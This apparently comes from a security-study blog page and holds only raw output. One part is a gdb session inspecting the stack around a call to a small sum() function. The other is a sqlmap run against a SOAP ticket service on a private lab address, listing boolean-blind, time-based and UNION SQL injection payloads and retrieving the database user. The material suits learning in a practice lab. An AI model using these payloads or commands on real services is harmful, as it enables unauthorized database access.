End of assembler dump.
(gdb) i r $ebp $esp
ebp            0xbffff438    0xbffff438
esp            0xbffff41c    0xbffff41c
(gdb) x/10wx $esp
0xbffff41c:    0x08048402    0x00000001    0x00000002    0x0804842b
0xbffff42c:    0x0092fff4    0x08048420    0x00000000    0xbffff4b8
0xbffff43c:    0x007b3d26    0x00000001






(gdb) ni
main () at test.c:15
15        return 0;
(gdb) disas main
Dump of assembler code for function main:
   0x080483e5 <+0>:    push   ebp
   0x080483e6 <+1>:    mov    ebp,esp
   0x080483e8 <+3>:    and    esp,0xfffffff0
   0x080483eb <+6>:    sub    esp,0x10
   0x080483ee <+9>:    mov    DWORD PTR [esp+0x4],0x2
   0x080483f6 <+17>:    mov    DWORD PTR [esp],0x1
   0x080483fd <+24>:    call   0x80483c4 <sum>
=> 0x08048402 <+29>:    mov    eax,0x0
   0x08048407 <+34>:    leave  
   0x08048408 <+35>:    ret    
End of assembler dump.
(gdb) i r $ebp $esp
ebp            0xbffff438    0xbffff438
esp            0xbffff420    0xbffff420
(gdb) x/10wx $esp
0xbffff420:    0x00000001    0x00000002    0x0804842b    0x0092fff4
0xbffff430:    0x08048420    0x00000000    0xbffff4b8    0x007b3d26
0xbffff440:    0x00000001    0xbffff4e4












C:\Users\hi080\Desktop\Hacking\01. Web Hacking\sqlmap>C:\Python27\python.exe sqlmap.py -r .\wsdl.txt -p title --current-user
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.1.7.15#dev}
|-| . [.]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
 
[*] starting at 10:12:01
 
[10:12:01] [INFO] parsing HTTP request from '.\wsdl.txt'
SOAP/XML data found in POST data. Do you want to process it? [Y/n/q] Y
[10:12:11] [INFO] resuming back-end DBMS 'mysql'
[10:12:11] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: SOAP title ((custom) POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
    Payload: <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:tickets_stock">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:get_tickets_stock soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <title xsi:type="xsd:string">gero et' OR NOT 9942=9942#</title>
      </urn:get_tickets_stock>
   </soapenv:Body>
</soapenv:Envelope>
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:tickets_stock">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:get_tickets_stock soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <title xsi:type="xsd:string">gero et' OR SLEEP(5)-- kNcZ</title>
      </urn:get_tickets_stock>
   </soapenv:Body>
</soapenv:Envelope>
 
    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 column
    Payload: <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:tickets_stock">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:get_tickets_stock soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <title xsi:type="xsd:string">gero et' UNION ALL SELECT CONCAT(0x71716a7171,0x416a656274514e70574f64474355795a624c66794b545270624550615443624f6577447558534f52,0x71787a6b71)#</title>
      </urn:get_tickets_stock>
   </soapenv:Body>
</soapenv:Envelope>
---
[10:12:11] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.12
[10:12:11] [INFO] fetching current user
current user:    'root@localhost'
[10:12:11] [INFO] fetched data logged to text files under 'C:\Users\hi080\.sqlmap\output\192.168.157.132'
[*] shutting down at 10:12:11











+ Recent posts